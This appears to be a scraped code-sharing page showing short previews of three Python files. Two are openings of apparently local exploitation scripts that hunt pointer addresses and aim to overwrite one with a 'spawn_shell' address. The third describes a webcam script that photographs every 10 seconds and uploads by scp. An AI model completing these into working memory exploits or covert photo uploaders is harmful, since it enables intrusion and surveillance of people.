This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import struct | |
import socket | |
# For finding hex sequence in given subarray (i.e finding pointers' addresses by their supposed value) | |
def find_index_of_subarray(arr, subarr): | |
index = 0 | |
for byte in arr: | |
if len(arr) - index < len(subarr): | |
return -1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
HOST = '127.0.0.1' | |
PORT = 22224 | |
# Indexes of bytes that will be swapped to represent spawn_shell address. | |
# They may be in the memory proceeding string's local data pointer, | |
# or they may not - depends on luck. If not, retry. | |
index_0x40 = -1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Script that shoots a photo every 10 seconds and uploads it via scp to given host, authenticating via private key. | |
#Setting up: | |
#pip install scp paramiko | |
#sudo apt-get install python-opencv | |
#Checkout OpenCV, build it, install it. | |
#Sources: | |
#https://stackoverflow.com/questions/11094481/capturing-a-single-image-from-my-webcam-in-java-or-python | |
#https://stackoverflow.com/questions/11499507/how-to-transfer-a-file-to-ssh-server-in-an-ssh-connection-made-by-paramiko |